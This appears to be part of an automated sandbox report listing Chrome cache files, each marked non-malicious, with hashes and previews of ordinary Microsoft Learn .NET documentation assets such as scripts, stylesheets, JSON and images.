SHA-256:	8E34F3807B4BF495D8954E7229681DA8D0DD101DD6DDC2AD7F90CD2983802B44
SHA-512:	184CB63EF510143B0AF013F506411C917D68BB63F2CFA47EA2A42688FD4F55F3B820AF94F87083C24F48AACEE6A692199E185FC5C5CFBED5D70790454EED7F5C
Malicious:	false
Preview:	<svg width="456" height="456" viewBox="0 0 456 456" fill="none" xmlns="http://www.w3.org/2000/svg">..<rect width="456" height="456" fill="#512BD4"/>..<path d="M81.2738 291.333C78.0496 291.333 75.309 290.259 73.052 288.11C70.795 285.906 69.6665 283.289 69.6665 280.259C69.6665 277.173 70.795 274.529 73.052 272.325C75.309 270.121 78.0496 269.019 81.2738 269.019C84.5518 269.019 87.3193 270.121 89.5763 272.325C91.887 274.529 93.0424 277.173 93.0424 280.259C93.0424 283.289 91.887 285.906 89.5763 288.11C87.3193 290.259 84.5518 291.333 81.2738 291.333Z" fill="white"/>..<path d="M210.167 289.515H189.209L133.994 202.406C132.597 200.202 131.441 197.915 130.528 195.546H130.044C130.474 198.081 130.689 203.508 130.689 211.827V289.515H112.149V171H134.477L187.839 256.043C190.096 259.57 191.547 261.994 192.192 263.316H192.514C191.977 260.176 191.708 254.859 191.708 247.365V171H210.167V289.515Z" fill="white"/>..<path d="M300.449 289.515H235.561V171H297.87V187.695H254.746V221.249H294.485V237.861H254.746V

Chrome Cache Entry: 75

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	3130
Entropy (8bit):	4.790069981348324
Encrypted:	false
SSDEEP:	48:YWuGl640ynAqgDJ9OJWuO6Z3Db8VgK/ni47ttbtlSlA37ERw7II77Aj5M1:Nv0ynAhD3CO5t5lNEYIOEjc
MD5:	EBA6E81304F2F555E1D2EA3126A18A41
SHA1:	61429C3FE837FD4DD68E7B26678F131F2E00070D
SHA-256:	F309CCCE17B2B4706E7110F6C76F81761F0A44168D12C358AC4D120776907F81
SHA-512:	3BE0466794E7BDDC8565758DBF5553E89ED0003271F07695F09283F242BB65C1978ED79A38D5E589A99F68C0130E1E4B52576D7CD655EE272EE104BE0378E72E
Malicious:	false
Preview:	{"items":[{"children":[{"children":[{"homepage":"/dotnet/api/index","href":"/dotnet/api/","toc_title":"API browser"},{"homepage":"/dotnet/csharp/index","href":"/dotnet/csharp/","toc_title":"C#"},{"homepage":"/dotnet/fsharp/index","href":"/dotnet/fsharp/","toc_title":"F#"},{"homepage":"/dotnet/visual-basic/index","href":"/dotnet/visual-basic/","toc_title":"Visual Basic"},{"homepage":"/dotnet/ai/index","href":"/dotnet/ai/","toc_title":"AI"},{"homepage":"/dotnet/azure/index","href":"/dotnet/azure/","toc_title":"Azure"},{"homepage":"/dotnet/aspire/index","href":"/dotnet/aspire/","toc_title":".NET Aspire"},{"homepage":"/dotnet/orleans/index","href":"/dotnet/orleans/","toc_title":"Orleans"},{"children":[{"homepage":"/dotnet/framework/unmanaged-api/","href":"/dotnet/framework/unmanaged-api/","toc_title":"Unmanaged API reference"}],"homepage":"/dotnet/framework/index","href":"/dotnet/framework/","toc_title":".NET Framework"},{"children":[{"homepage":"/dotnet/architecture/modern-web-apps-azure/

Chrome Cache Entry: 76

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 533 x 478, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	15427
Entropy (8bit):	7.784472070227724
Encrypted:	false
SSDEEP:	384:CKKdvwj3SJMpKKKKKKKKikCyKwqHILyPGQV4ykihKKKKKKKCm:CKKdvMMgKKKKKKKKiqB3yPVXkihKKKKI
MD5:	3062488F9D119C0D79448BE06ED140D8
SHA1:	8A148951C894FC9E968D3E46589A2E978267650E
SHA-256:	C47A383DE6DD60149B37DD24825D42D83CB48BE0ED094E3FC3B228D0A7BB9332
SHA-512:	00BBA6BCBFBF44B977129594A47F732809DCE7D4E2D22D050338E4EEA91FCC02A9B333C45EEB4C9024DF076CBDA0B46B621BF48309C0D037D19BBEAE0367F5ED
Malicious:	false
Preview:	.PNG........IHDR.............,#......sRGB.........gAMA......a.....pHYs..........o.d..;.IDATx^..].u.Y..M....B.X...".......@.ZzSys..,H{.Rz!... .......WM.IN..9n..I....g...p<P.0-....\|...X..s...Z.Y{....w..5.._s..x...E.......... ..................... ..................{....2. ...`.$h.......)....,T-x.5......,.."..(.A.......>.. ...`......4..G.\|.....,T-..'. ...`....]........?~.....A...pAP...\.T..........A...pAP...\.T..........A...pAP...\.T..........A...pAP...\.}P../}....TJ...'.O...'?......XH...K..>.b..K/t...o.......T.._.E.....q.$.x..qJ......mo...ww.}.{....W..._...._.^z...........(^x..C..P.../.........U..]../u.....w..{.O.N..o.l........_.^...2.....*....<...iP.W...o......]..+.?}c...t!.....p.=..._x..._yo....?....~u.c?.c1'.....{.^.}.S...5.yMx./.>.lwqq.}.....g..g1wZ..%......h.i[..%ul.&..U.k..";7-.9.6...s..s..0.......}.s..?...c..X...\|..........>.x..o.?.?..{........n..o....]?....Ej..yuu5...A.}....5...^...f........s.qJ..SYF.V...'..q.......T..'..z.....

Chrome Cache Entry: 77

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65536), with no line terminators
Category:	downloaded
Size (bytes):	464328
Entropy (8bit):	5.074669864961383
Encrypted:	false
SSDEEP:	6144:XegPryKCerH5dyUJ6Yh6BFPDxZYX04GK7M4:gKCerXyUh
MD5:	CB0701D474D57F8C8E2F569161CE0349
SHA1:	4BE2E0C148DED16354E7A91FE721644897C5503C
SHA-256:	AD52B36EA7D484522BA3382718BD370E6804F7B46AD3BE821D94AF81D66F40EB
SHA-512:	BB54B08F64F85498D6592C614F844842CD87BA5A9127B1D2B8AFAEC8086DE171642EA2D241708C9D06DEFDDFA04A4189AAD4814AFD15303C6481F23793CD2D3F
Malicious:	false
URL:	https://learn.microsoft.com/static/assets/0.4.028726178/styles/site-ltr.css
Preview:	.CodeMirror{height:300px;color:#000;direction:ltr;font-family:monospace}.CodeMirror-lines{padding:4px 0}.CodeMirror pre.CodeMirror-line,.CodeMirror pre.CodeMirror-line-like{padding:0 4px}.CodeMirror-scrollbar-filler,.CodeMirror-gutter-filler{background-color:#fff}.CodeMirror-gutters{white-space:nowrap;background-color:#f7f7f7;border-right:1px solid #ddd}.CodeMirror-linenumber{min-width:20px;text-align:right;color:#999;white-space:nowrap;padding:0 3px 0 5px}.CodeMirror-guttermarker{color:#000}.CodeMirror-guttermarker-subtle{color:#999}.CodeMirror-cursor{width:0;border-left:1px solid #000;border-right:none}.CodeMirror div.CodeMirror-secondarycursor{border-left:1px solid silver}.cm-fat-cursor .CodeMirror-cursor{width:auto;background:#7e7;border:0!important}.cm-fat-cursor div.CodeMirror-cursors{z-index:1}.cm-fat-cursor .CodeMirror-line::selection,.cm-fat-cursor .CodeMirror-line>span::selection,.cm-fat-cursor .CodeMirror-line>span>span::selection{background:0 0}.cm-fat-cursor{caret-color:#0

Chrome Cache Entry: 78

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	25553
Entropy (8bit):	5.151188042622345
Encrypted:	false
SSDEEP:	768:63jLjnjrjGjXMQjtzjMFzXYfv1gWj/rlOVqnACpK3o3hhl0OU2/8BlsRw/6szFrm:aHBCv11pOVqlh382/rIN1e
MD5:	D357ED8DD1D920114803DC625D55142A
SHA1:	66167DDA36F3BEA541A4B0D3D77FD0C6377C4397
SHA-256:	55FB71123142CABEC0F91C859ABF49285DE1B0F2F8D68DADCE6C468B9E785BCA
SHA-512:	16C2AAA30179894B18D4EC851D8E44669B5064EC697C3D7E7E105DC9D5583AF04179D2FBE7EEFC89016C9CA1608863CEFD6DB3B3734F55EF506462F148465EA9
Malicious:	false
Preview:	{"banners":[{"content":{"text":"You may experience reduced functionality with empty pages and broken links. Development is in progress to improve your experience."},"dismissable":false,"location":"sectional","scope":{"accessLevels":["isolated"],"endDate":"2030-01-01T00:00:00-00:00","paths":["/samples/browse/","/lifecycle/products/","/dotnet/api/","/javascript/api/","/java/api/","/powershell/module/","/python/api/","/rest/api/","/assessments/"],"startDate":"2020-10-01T05:00:00-04:00"},"uid":"development-in-progress-isolated"},{"content":{"link":{"href":"/en-us/answers/questions/1657059/the-subscription-is-not-allowed-to-create-or-updat","title":"View discussion"},"text":"App Service deployment: subscription \u0027xxxxxxxx\u0027 is not allowed to create or update the server farm."},"dismissable":true,"location":"sectional","scope":{"accessLevels":["online"],"endDate":"2024-05-24T07:34:00.000Z","paths":["/answers/tags/436/azure-app-service"],"startDate":"2024-04-22T07:34:00.000Z"},"uid":"

Chrome Cache Entry: 79

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65410)
Category:	downloaded
Size (bytes):	195719
Entropy (8bit):	5.430057012529021
Encrypted:	false
SSDEEP:	3072:Wx2fZBMb0y0Xi13tL9+pjXDMe/m7GG3/lHNVli2:Wof3G0NSkNzMeO7z/l3lh
MD5:	9445D8D43537540BC89651C93A9C3832
SHA1:	EC3066770D52DB58CB7E44C54C3ABAA40CEB121A
SHA-256:	586D6261C80CBF8CDEC59DE01F1A1D09B32C04E87431E4333A0BF4D8990C2755
SHA-512:	F2BB9BB14C24883499AF2FAD35EE95AF7BF3D9B0431D8072C54C9D5946C751E04D952F5AD5D937F6CBC7C56177FA2091A5A6F33318F2907E9D3628C28E7FFC9C
Malicious:	false
URL:	https://js.monitor.azure.com/scripts/c/ms.jsll-4.min.js
Preview:	/!. 1DS JSLL SKU, 4.3.3. * Copyright (c) Microsoft and contributors. All rights reserved.. * (Microsoft Internal Only). */.!function(e,t){var n="undefined";if("object"==typeof exports&&typeof module!=n)t(exports);else if("function"==typeof define&&define.amd)define(["exports"],t);else{var r,i,e=typeof globalThis!=n?globalThis:e\|\|self,a={},o="__ms$mod__",c={},u=c.es5_ms_jsll_4_3_3={},s="4.3.3",l="oneDS4",f=(f=e)[l]=f[l]\|\|{},d=(d=e)[l="oneDS"]=d[l]\|\|{},e=f[o]=f[o]\|\|{},p=e.v=e.v\|\|[],l=d[o]=d[o]\|\|{},g=l.v=l.v\|\|[];for(i in(l.o=l.o\|\|[]).push(c),t(a),a)r="x",f[i]=a[i],p[i]=s,typeof d[i]==n?(r="n",(d[i]=a[i])&&(g[i]=s)):g[i]\|\|(g[i]="---"),(u[r]=u[r]\|\|[]).push(i)}}(this,function(f){"use strict";var d="function",p="object",se="undefined",ie="prototype",g=Object,h=g[ie];function y(e,t){return e\|\|t}var C,Ce=undefined,m=null,b="",T="function",I="object",E="prototype",_="__proto__",S="undefined",x="constructor",N="Symbol",D="_polyfill",A="length",w="name",be="call",k="toString",P=y(Object),O=P[E]

Chrome Cache Entry: 80

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	downloaded
Size (bytes):	25553
Entropy (8bit):	5.151188042622345
Encrypted:	false
SSDEEP:	768:63jLjnjrjGjXMQjtzjMFzXYfv1gWj/rlOVqnACpK3o3hhl0OU2/8BlsRw/6szFrm:aHBCv11pOVqlh382/rIN1e
MD5:	D357ED8DD1D920114803DC625D55142A
SHA1:	66167DDA36F3BEA541A4B0D3D77FD0C6377C4397
SHA-256:	55FB71123142CABEC0F91C859ABF49285DE1B0F2F8D68DADCE6C468B9E785BCA
SHA-512:	16C2AAA30179894B18D4EC851D8E44669B5064EC697C3D7E7E105DC9D5583AF04179D2FBE7EEFC89016C9CA1608863CEFD6DB3B3734F55EF506462F148465EA9
Malicious:	false
URL:	https://learn.microsoft.com/en-us/banners/index.json
Preview:	{"banners":[{"content":{"text":"You may experience reduced functionality with empty pages and broken links. Development is in progress to improve your experience."},"dismissable":false,"location":"sectional","scope":{"accessLevels":["isolated"],"endDate":"2030-01-01T00:00:00-00:00","paths":["/samples/browse/","/lifecycle/products/","/dotnet/api/","/javascript/api/","/java/api/","/powershell/module/","/python/api/","/rest/api/","/assessments/"],"startDate":"2020-10-01T05:00:00-04:00"},"uid":"development-in-progress-isolated"},{"content":{"link":{"href":"/en-us/answers/questions/1657059/the-subscription-is-not-allowed-to-create-or-updat","title":"View discussion"},"text":"App Service deployment: subscription \u0027xxxxxxxx\u0027 is not allowed to create or update the server farm."},"dismissable":true,"location":"sectional","scope":{"accessLevels":["online"],"endDate":"2024-05-24T07:34:00.000Z","paths":["/answers/tags/436/azure-app-service"],"startDate":"2024-04-22T07:34:00.000Z"},"uid":"

Chrome Cache Entry: 81

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 533 x 478, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	15427
Entropy (8bit):	7.784472070227724
Encrypted:	false
SSDEEP:	384:CKKdvwj3SJMpKKKKKKKKikCyKwqHILyPGQV4ykihKKKKKKKCm:CKKdvMMgKKKKKKKKiqB3yPVXkihKKKKI
MD5:	3062488F9D119C0D79448BE06ED140D8
SHA1:	8A148951C894FC9E968D3E46589A2E978267650E
SHA-256:	C47A383DE6DD60149B37DD24825D42D83CB48BE0ED094E3FC3B228D0A7BB9332
SHA-512:	00BBA6BCBFBF44B977129594A47F732809DCE7D4E2D22D050338E4EEA91FCC02A9B333C45EEB4C9024DF076CBDA0B46B621BF48309C0D037D19BBEAE0367F5ED
Malicious:	false
URL:	https://learn.microsoft.com/en-us/dotnet/framework/install/media/application-not-started/repair-tool-recommended-changes.png
Preview:	.PNG........IHDR.............,#......sRGB.........gAMA......a.....pHYs..........o.d..;.IDATx^..].u.Y..M....B.X...".......@.ZzSys..,H{.Rz!... .......WM.IN..9n..I....g...p<P.0-....\|...X..s...Z.Y{....w..5.._s..x...E.......... ..................... ..................{....2. ...`.$h.......)....,T-x.5......,.."..(.A.......>.. ...`......4..G.\|.....,T-..'. ...`....]........?~.....A...pAP...\.T..........A...pAP...\.T..........A...pAP...\.T..........A...pAP...\.}P../}....TJ...'.O...'?......XH...K..>.b..K/t...o.......T.._.E.....q.$.x..qJ......mo...ww.}.{....W..._...._.^z...........(^x..C..P.../.........U..]../u.....w..{.O.N..o.l........_.^...2.....*....<...iP.W...o......]..+.?}c...t!.....p.=..._x..._yo....?....~u.c?.c1'.....{.^.}.S...5.yMx./.>.lwqq.}.....g..g1wZ..%......h.i[..%ul.&..U.k..";7-.9.6...s..s..0.......}.s..?...c..X...\|..........>.x..o.?.?..{........n..o....]?....Ej..yuu5...A.}....5...^...f........s.qJ..SYF.V...'..q.......T..'..z.....

Chrome Cache Entry: 82

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (52717), with no line terminators
Category:	dropped
Size (bytes):	52717
Entropy (8bit):	5.462668685745912
Encrypted:	false
SSDEEP:	1536:tjspYRrxlhd0fq3agV3IcgPPPI3r7DAQHCloIB3Tj7xHw:tjZLCtxQ
MD5:	413FCC759CC19821B61B6941808B29B5
SHA1:	1AD23B8A202043539C20681B1B3E9F3BC5D55133
SHA-256:	DAF7759FEDD9AF6C4D7E374B0D056547AE7CB245EC24A1C4ACF02932F30DC536
SHA-512:	E9BF8A74FEF494990AAFD15A0F21E0398DC28B4939C8F9F8AA1F3FFBD18056C8D1AB282B081F5C56F0928C48E30E768F7E347929304B55547F9CA8C1AABD80B8
Malicious:	false
Preview:	var WcpConsent;!function(){var e={229:function(e){window,e.exports=function(e){var t={};function o(n){if(t[n])return t[n].exports;var r=t[n]={i:n,l:!1,exports:{}};return e[n].call(r.exports,r,r.exports,o),r.l=!0,r.exports}return o.m=e,o.c=t,o.d=function(e,t,n){o.o(e,t)\|\|Object.defineProperty(e,t,{enumerable:!0,get:n})},o.r=function(e){"undefined"!=typeof Symbol&&Symbol.toStringTag&&Object.defineProperty(e,Symbol.toStringTag,{value:"Module"}),Object.defineProperty(e,"__esModule",{value:!0})},o.t=function(e,t){if(1&t&&(e=o(e)),8&t)return e;if(4&t&&"object"==typeof e&&e&&e.__esModule)return e;var n=Object.create(null);if(o.r(n),Object.defineProperty(n,"default",{enumerable:!0,value:e}),2&t&&"string"!=typeof e)for(var r in e)o.d(n,r,function(t){return e[t]}.bind(null,r));return n},o.n=function(e){var t=e&&e.__esModule?function(){return e.default}:function(){return e};return o.d(t,"a",t),t},o.o=function(e,t){return Object.prototype.hasOwnProperty.call(e,t)},o.p="",o(o.s=3)}([function(e,t,o)

Chrome Cache Entry: 83

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	downloaded
Size (bytes):	1432
Entropy (8bit):	4.986131881931089
Encrypted:	false
SSDEEP:	24:TGAcSRrEV4YUmjiqIWD5bfD9yRSmkYR/stZLKvVqXRRlAfr6VXBAuU:Ti4IV4YUmjiqr9bfskAmZTXGfSXqh
MD5:	6B8763B76F400DC480450FD69072F215
SHA1:	6932907906AFCF8EAFA22154D8478106521BC9EE
SHA-256:	3FB84D357F0C9A66100570EDD62A04D0574C45E8A5209A3E6870FF22AF839DFC
SHA-512:	8A07EBB806A0BA8EF54B463BD6AF37C77A10C1FA38A57128FD90FCB2C16DF71CE697D4FE65C623E5C6054C5715975831C36861D5574F59DF28836D9BC2B0BC22
Malicious:	false
URL:	https://learn.microsoft.com/static/assets/0.4.028726178/global/deprecation.js
Preview:	// ES5 script for back compat with unsupported browsers..!(function () {..'use strict';..// Keep in sync with environment/browser.ts..var supportedBrowser =...typeof Blob === 'function' &&...typeof PerformanceObserver === 'function' &&...typeof Intl === 'object' &&...typeof MutationObserver === 'function' &&...typeof URLSearchParams === 'function' &&...typeof WebSocket === 'function' &&...typeof IntersectionObserver === 'function' &&...typeof queueMicrotask === 'function' &&...typeof TextEncoder === 'function' &&...typeof TextDecoder === 'function' &&...typeof customElements === 'object' &&...typeof HTMLDetailsElement === 'function' &&...typeof AbortController === 'function' &&...typeof AbortSignal === 'function' &&...'entries' in FormData.prototype &&...'toggleAttribute' in Element.prototype &&...'replaceChildren' in Element.prototype &&...// ES2019...'fromEntries' in Object &&...'flatMap' in Array.prototype &&...'trimEnd' in String.prototype &&...// ES2020...'allSettled' in Promise &

Chrome Cache Entry: 84

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (52717), with no line terminators
Category:	downloaded
Size (bytes):	52717
Entropy (8bit):	5.462668685745912
Encrypted:	false
SSDEEP:	1536:tjspYRrxlhd0fq3agV3IcgPPPI3r7DAQHCloIB3Tj7xHw:tjZLCtxQ
MD5:	413FCC759CC19821B61B6941808B29B5
SHA1:	1AD23B8A202043539C20681B1B3E9F3BC5D55133
SHA-256:	DAF7759FEDD9AF6C4D7E374B0D056547AE7CB245EC24A1C4ACF02932F30DC536
SHA-512:	E9BF8A74FEF494990AAFD15A0F21E0398DC28B4939C8F9F8AA1F3FFBD18056C8D1AB282B081F5C56F0928C48E30E768F7E347929304B55547F9CA8C1AABD80B8
Malicious:	false
URL:	https://wcpstatic.microsoft.com/mscc/lib/v2/wcp-consent.js
Preview:	var WcpConsent;!function(){var e={229:function(e){window,e.exports=function(e){var t={};function o(n){if(t[n])return t[n].exports;var r=t[n]={i:n,l:!1,exports:{}};return e[n].call(r.exports,r,r.exports,o),r.l=!0,r.exports}return o.m=e,o.c=t,o.d=function(e,t,n){o.o(e,t)\|\|Object.defineProperty(e,t,{enumerable:!0,get:n})},o.r=function(e){"undefined"!=typeof Symbol&&Symbol.toStringTag&&Object.defineProperty(e,Symbol.toStringTag,{value:"Module"}),Object.defineProperty(e,"__esModule",{value:!0})},o.t=function(e,t){if(1&t&&(e=o(e)),8&t)return e;if(4&t&&"object"==typeof e&&e&&e.__esModule)return e;var n=Object.create(null);if(o.r(n),Object.defineProperty(n,"default",{enumerable:!0,value:e}),2&t&&"string"!=typeof e)for(var r in e)o.d(n,r,function(t){return e[t]}.bind(null,r));return n},o.n=function(e){var t=e&&e.__esModule?function(){return e.default}:function(){return e};return o.d(t,"a",t),t},o.o=function(e,t){return Object.prototype.hasOwnProperty.call(e,t)},o.p="",o(o.s=3)}([function(e,t,o)

Chrome Cache Entry: 85

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	exported SGML document, ASCII text, with very long lines (65536), with no line terminators
Category:	downloaded
Size (bytes):	1173007
Entropy (8bit):	5.503893944397598
Encrypted:	false
SSDEEP:	24576:VMga+4IVzOjS1Jho1WXQFjTEr39/jHXzT:VMcVzOjS1Jho1WXQar39/bXzT
MD5:	2E00D51C98DBB338E81054F240E1DEB2
SHA1:	D33BAC6B041064AE4330DCC2D958EBE4C28EBE58
SHA-256:	300480069078B5892D2363A2B65E2DFBBF30FE5C80F83EDBFECF4610FD093862
SHA-512:	B6268D980CE9CB729C82DBA22F04FD592952B2A1AAB43079CA5330C68A86E72B0D232CE4070DB893A5054EE5C68325C92C9F1A33F868D61EBB35129E74FC7EF9
Malicious:	false
URL:	https://learn.microsoft.com/static/third-party/MathJax/3.2.2/tex-mml-chtml.js
Preview:	(function(){"use strict";var __webpack_modules__={351:function(t,e,r){var n,o=this&&this.__extends\|\|(n=function(t,e){return n=Object.setPrototypeOf\|\|{__proto__:[]}instanceof Array&&function(t,e){t.__proto__=e}\|\|function(t,e){for(var r in e)Object.prototype.hasOwnProperty.call(e,r)&&(t[r]=e[r])},n(t,e)},function(t,e){if("function"!=typeof e&&null!==e)throw new TypeError("Class extends value "+String(e)+" is not a constructor or null");function r(){this.constructor=t}n(t,e),t.prototype=null===e?Object.create(e):(r.prototype=e.prototype,new r)}),i=this&&this.__assign\|\|function(){return i=Object.assign\|\|function(t){for(var e,r=1,n=arguments.length;r<n;r++)for(var o in e=arguments[r])Object.prototype.hasOwnProperty.call(e,o)&&(t[o]=e[o]);return t},i.apply(this,arguments)},s=this&&this.__read\|\|function(t,e){var r="function"==typeof Symbol&&t[Symbol.iterator];if(!r)return t;var n,o,i=r.call(t),s=[];try{for(;(void 0===e\|\|e-- >0)&&!(n=i.next()).done;)s.push(n.value)}catch(t){o={error:t}}finally

Chrome Cache Entry: 86

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with no line terminators
Category:	downloaded
Size (bytes):	16
Entropy (8bit):	3.875
Encrypted:	false
SSDEEP:	3:HMB:k
MD5:	0B04EA412F8FC88B51398B1CBF38110E
SHA1:	E073BCC5A03E7BBA2A16CF201A3CED1BE7533FBF
SHA-256:	7562254FF78FD854F0A8808E75A406F5C6058B57B71514481DAE490FC7B8F4C3
SHA-512:	6D516068C3F3CBFC1500032E600BFF5542EE30C0EAC11A929EE002C707810BBF614A5586C2673EE959AFDF19C08F6EAEFA18193AD6CEDC839BDF249CF95E8079
Malicious:	false
URL:	https://content-autofill.googleapis.com/v1/pages/ChVDaHJvbWUvMTE3LjAuNTkzOC4xMzQSEAkEurwx6c-nJBIFDb_mJfI=?alt=proto
Preview:	CgkKBw2/5iXyGgA=

Chrome Cache Entry: 87

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 533 x 478, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	13339
Entropy (8bit):	7.683569563478597
Encrypted:	false
SSDEEP:	192:zjSKAj04ndWb6OuzZjk6TsEaJS0/bJur2Gz4Imm3MhE4NfM:zutfW69XTspsG3G0TfhEQM
MD5:	512625CF8F40021445D74253DC7C28C0
SHA1:	F6B27CE0F7D4E48E34FDDCA8A96337F07CFFE730
SHA-256:	1D4DCEE8511D5371FEC911660D6049782E12901C662B409A5C675772E9B87369
SHA-512:	AE02319D03884D758A86C286B6F593BDFFD067885D56D82EEB8215FDCB41637C7BB9109039E7FBC93AD246D030C368FB285B3161976ED485ABC5A8DF6DF9A38C
Malicious:	false
URL:	https://learn.microsoft.com/en-us/dotnet/framework/install/media/application-not-started/repair-tool-changes-complete.png
Preview:	.PNG........IHDR.............,#......sRGB.........gAMA......a.....pHYs..........o.d..3.IDATx^..].5Y...C.$..tH .NF.I&A0..;.r.fF.#..!7...'..3.0.../..s....."!.y...~....4....om.g.3.BTP......j..g.zVU....u...a.Z..j..U....y......$.....I...pAR...\.T....$.....I...pAR...\.T..p....5O>.d...}Rg.$....@.4....fb1.o.I...7..<.P.....n0.D.P.....n..L.P.....n8.......P.~......n(+..'. ......J.vM,H......W...h.T....$.....I...pAR...\.T....$.....I...pAR...\.T....$.....I...pAR...\.T....$......'....w....g....\|../5_.......T...~.y.'.'.\|...W..[...C.)......\|.[.[WK...w...w..y.{..\|.#.n>...5....5...h>..O6O>.Xx....o.B........g?.........~....?o...w.......}..-_k^........l....\|.D.TH.....o..B'..(.W-%...?...W.......E?h..........~.......?...~,..}...o^...5ox..bI.mo{[s.}.5.<.L.......<......Y.W......K..Q._...Iu...2...e)d]4.}Y..............k.%k..s.'..L(..o4...g...z............N.X.....W.O.^.4.....7......i~._7..~,bI......3.0RRq..\|.Mk..?.{.K_...t.........SYG.W^#).N^..._W...(.8.7.....W....7...m

Chrome Cache Entry: 88

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows icon resource - 6 icons, -128x-128, 16 colors, 72x72, 16 colors
Category:	downloaded
Size (bytes):	17174
Entropy (8bit):	2.9129715116732746
Encrypted:	false
SSDEEP:	24:QSNTmTFxg4lyyyyyyyyyyyyyio7eeeeeeeeekzgsLsLsLsLsLsQZp:nfgyyyyyyyyyyyyynzQQQQQO
MD5:	12E3DAC858061D088023B2BD48E2FA96
SHA1:	E08CE1A144ECEAE0C3C2EA7A9D6FBC5658F24CE5
SHA-256:	90CDAF487716184E4034000935C605D1633926D348116D198F355A98B8C6CD21
SHA-512:	C5030C55A855E7A9E20E22F4C70BF1E0F3C558A9B7D501CFAB6992AC2656AE5E41B050CCAC541EFA55F9603E0D349B247EB4912EE169D44044271789C719CD01
Malicious:	false
URL:	https://learn.microsoft.com/favicon.ico
Preview:	..............h(..f...HH...........(..00......h....6.. ...........=...............@..........(....A..(....................(....................................."P.........................................."""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333""""""""""""""""""""""""""

Chrome Cache Entry: 89

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (46884)
Category:	downloaded
Size (bytes):	1817143
Entropy (8bit):	5.501007973622959
Encrypted:	false
SSDEEP:	24576:aLX8PHFluFxBSB1DkCXWjfz8gEPPXL/tie:auHFluFxBSB1DkCXWjfz7EPPXztH
MD5:	F57E274AE8E8889C7516D3E53E3EB026
SHA1:	F8D21465C0C19051474BE6A4A681FA0B0D3FCC0C
SHA-256:	2A2198DDBDAEDD1E968C0A1A45F800765AAE703675E419E46F6E51E3E9729D01
SHA-512:	9A9B42F70E09D821B799B92CB6AC981236FCF190F0A467CA7F7D382E3BCA1BC1D71673D37CD7426499D24DFBC0B7A6D10676C0E3FB2B0292249A5ABAB78F23F4
Malicious:	false
URL:	https://learn.microsoft.com/static/assets/0.4.028726178/scripts/en-us/index-docs.js
Preview:	"use strict";(()=>{var hve=Object.create;var _T=Object.defineProperty;var E2=Object.getOwnPropertyDescriptor;var bve=Object.getOwnPropertyNames;var _ve=Object.getPrototypeOf,vve=Object.prototype.hasOwnProperty;var yve=(e,t,o)=>t in e?_T(e,t,{enumerable:!0,configurable:!0,writable:!0,value:o}):e[t]=o;var Ie=(e,t)=>()=>(t\|\|e((t={exports:{}}).exports,t),t.exports);var xve=(e,t,o,n)=>{if(t&&typeof t=="object"\|\|typeof t=="function")for(let r of bve(t))!vve.call(e,r)&&r!==o&&_T(e,r,{get:()=>t[r],enumerable:!(n=E2(t,r))\|\|n.enumerable});return e};var Ya=(e,t,o)=>(o=e!=null?hve(_ve(e)):{},xve(t\|\|!e\|\|!e.__esModule?_T(o,"default",{value:e,enumerable:!0}):o,e));var U=(e,t,o,n)=>{for(var r=n>1?void 0:n?E2(t,o):t,s=e.length-1,i;s>=0;s--)(i=e[s])&&(r=(n?i(t,o,r):i(r))\|\|r);return n&&r&&_T(t,o,r),r};var ji=(e,t,o)=>(yve(e,typeof t!="symbol"?t+"":t,o),o),yR=(e,t,o)=>{if(!t.has(e))throw TypeError("Cannot "+o)};var wt=(e,t,o)=>(yR(e,t,"read from private field"),o?o.call(e):t.get(e)),Bo=(e,t,o)=>{if(t.has(

Chrome Cache Entry: 90

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	5644
Entropy (8bit):	4.785769732002188
Encrypted:	false
SSDEEP:	96:ogVOjPW7cI3aDNjExAjfWQpL0dpwmWMv7AD8RevyvRJNjyZPtJ27RlhiewZjMeZf:og5cUaDNjESLWQN0dpwm9+6DlUu7lYjX
MD5:	B5885C991E30238110973653F2408300
SHA1:	39B0A79D951F8254E21821134E047C76F57AD2A8
SHA-256:	085BF5AE32E6F7F1299CA79248B0CB67EBD31566728A69F4466E1659C004732E
SHA-512:	6BEC209D933C7A1065047637F550B7A36809D835938C04851A3B09DF644BD3EC85A2CE30F73FCFB709FE7AF3453799B2EB76702D0AB2BE067CD07D2EC03537C0
Malicious:	false
